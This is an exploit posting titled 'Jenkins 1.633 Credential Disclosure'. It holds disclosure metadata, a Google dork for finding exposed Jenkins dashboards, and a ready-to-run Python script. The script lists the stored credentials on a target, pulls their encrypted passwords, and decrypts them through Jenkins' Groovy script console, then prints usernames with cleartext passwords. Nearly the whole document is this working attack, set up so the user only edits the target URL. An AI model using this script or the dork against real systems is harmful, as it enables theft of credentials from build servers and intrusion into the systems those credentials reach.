Jenkins 1.633 Credential Disclosure
Posted on 11 November 2015
# Exploit Title: Jenkins Unauthenticated Credential Recovery # Disclosure Date: 10/14/2015 # Response Date: 10/14/2015 # Response: "Recommend this be rejected as a vulnerability." # Full report including response: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html # Vendor Homepage: https://jenkins-ci.org/ # Tested on: Jenkins v1.633 # Author = 'Th3R3p0' | Justin Massey # Google Dork: intitle:"Dashboard [Jenkins]" Credentials import requests import re from BeautifulSoup import BeautifulSoup import urllib # Usage: Modify the URL below to match the target host and port # Must have trailing slash at end of URL url='http://192.168.1.151:8080/' # makes request to gather all users with stored credentials r= requests.get(url + 'credential-store/domain/_/') soup = BeautifulSoup(r.text) # loop to go through all hrefs and match the regex "credential" and add the urls to the users list users = [] for link in soup.body.findAll('a', href=True): m = re.match("credential", link['href']) if m: if link['href'] not in users: users.append(link['href']) for users in users: r2 = requests.get(url + 'credential-store/domain/_/'+users+'/update') soup2 = BeautifulSoup(r2.text) # Finds the user and password value in html and stores in encPass variable user = soup2.body.findAll(attrs={"name" : "_.username"})[0]['value'] encPass = soup2.body.findAll(attrs={"name" : "_.password"})[0]['value'] # Encodes the password to www-form-urlencoded standards needed for the expected content type encPassEncoded = urllib.quote(encPass, safe='') # Script to run in groovy scripting engine to decrypt the password script = 'script=hudson.util.Secret.decrypt+%%27' '%s' '%%27&json=%%7B%%22script%%22%%3A+%%22hudson.util.Secret.decrypt+%%27' '%s' '%%27%%22%%2C+%%22%%22%%3A+%%22%%22%%7D&Submit=Run' % (encPassEncoded, encPassEncoded) # Using sessions because the POST requires a session token to be present with requests.Session() as s: r3 = s.get(url+'script') headers = {'content-type': 'application/x-www-form-urlencoded'} r3 = s.post(url+'script',data=script, headers=headers) soup3 = BeautifulSoup(r3.text) # Extracts password from body password = soup3.body.findAll('pre')[1].text password = re.sub('Result:', '', password) print "User: %s | Password:%s" % (user, password)
